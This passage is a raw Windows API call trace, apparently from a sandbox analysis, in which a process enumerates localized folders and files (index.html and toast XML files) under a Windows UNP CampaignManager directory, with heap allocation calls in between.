[0294.112] GetProcessHeap () returned 0xaf0000 [0294.112] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.112] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0294.112] GetProcessHeap () returned 0xaf0000 [0294.112] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.113] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.114] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9f19, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.114] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.114] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.114] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.114] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.114] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.115] GetProcessHeap () returned 0xaf0000 [0294.115] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.115] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0294.115] GetProcessHeap () returned 0xaf0000 [0294.115] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.117] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.117] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.117] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.713] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.713] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.713] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.713] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.714] GetProcessHeap () returned 0xaf0000 [0294.714] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.714] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0294.715] GetProcessHeap () returned 0xaf0000 [0294.715] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.716] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.716] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.716] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.716] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.716] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.717] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.717] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.718] GetProcessHeap () returned 0xaf0000 [0294.718] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.718] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0294.718] GetProcessHeap () returned 0xaf0000 [0294.718] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.719] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.719] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x94f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.719] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.720] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.720] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.720] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.720] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.721] GetProcessHeap () returned 0xaf0000 [0294.721] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.721] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0294.721] GetProcessHeap () returned 0xaf0000 [0294.721] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.724] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.724] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.724] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.724] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.724] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.725] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.725] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.726] GetProcessHeap () returned 0xaf0000 [0294.726] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.726] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0294.726] GetProcessHeap () returned 0xaf0000 [0294.726] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program 